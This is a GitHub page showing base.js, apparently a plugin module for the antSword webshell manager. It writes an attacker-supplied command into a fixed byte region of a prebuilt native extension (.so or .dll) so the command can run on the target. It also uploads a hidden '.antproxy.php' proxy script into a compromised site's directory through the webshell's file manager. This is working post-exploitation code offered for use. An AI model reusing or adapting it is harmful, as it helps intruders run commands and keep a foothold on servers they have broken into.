-
Notifications
You must be signed in to change notification settings - Fork 20
/
base.js
90 lines (86 loc) · 2.6 KB
/
base.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
'use strict';
const fs = require('fs');
const {
ProxyScript,
ProxyScriptFsock
} = require('../payload');
const LANG = require('../language'); // 插件语言库
const LANG_T = antSword['language']['toastr']; // 通用通知提示
class Base {
/**
* 初始化
* @param {Object} cell dhtmlx.cell对象
* @param {Object} top 顶层对象
* @return {Object} this
*/
constructor(cell, top) {
var self = this;
this.cell = cell;
this.top = top;
self.isOpenBasedir = (Object.keys(self.top.infodata.open_basedir).length > 0);
self.ext_name = `ant_x${self.top.infodata.arch}.${self.top.infodata.os.toLowerCase() === "linux" ? "so": "dll"}`;
self.ext_path = path.join(__dirname, `../ext/ant_x${self.top.infodata.arch}.${self.top.infodata.os.toLowerCase() === "linux" ? "so": "dll"}`);
}
// 生成扩展
generateExt(cmd) {
let self = this;
let fileBuff = fs.readFileSync(self.ext_path);
let start = 0,
end = 0;
switch (self.ext_name) {
case 'ant_x86.so':
start = 275;
end = 504;
break;
case 'ant_x64.so':
// 434-665
start = 434;
end = 665;
break;
case 'ant_x86.dll':
start = 1544;
end = 1683;
break;
case 'ant_x64.dll':
start = 1552;
end = 1691;
break;
default:
break;
}
if (cmd.length > (end - start)) {
return
}
fileBuff[end] = 0;
fileBuff.write(" ", start);
fileBuff.write(cmd, start);
return fileBuff;
}
// 上传代理脚本
uploadProxyScript(host = "127.0.0.1", port = 61111) {
const PROXY_LANG = LANG['core']['base']['proxyscript'];
let self = this;
let proxycontent = "";
if (self.top.infodata.funcs.hasOwnProperty['curl_init'] && self.top.infodata.funcs['curl_init'] == 1) {
proxycontent = ProxyScript(`http://${host}:${port}/${self.top.infodata.shell_name}`);
} else {
proxycontent = ProxyScriptFsock(host, port, `/${self.top.infodata.shell_name}`);
}
self.top.core.request(
self.top.core.filemanager.create_file({
path: `${self.top.infodata.phpself}/.antproxy.php`,
content: proxycontent,
})
).then((res) => {
let ret = res['text'];
if (ret === '1') {
toastr.success(PROXY_LANG['success'](`${self.top.infodata.phpself}/.antproxy.php`), LANG_T['success']);
} else {
toastr.error(PROXY_LANG['fail'], LANG_T['error']);
}
}).catch((err) => {
toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
});
}
}
module.exports = Base;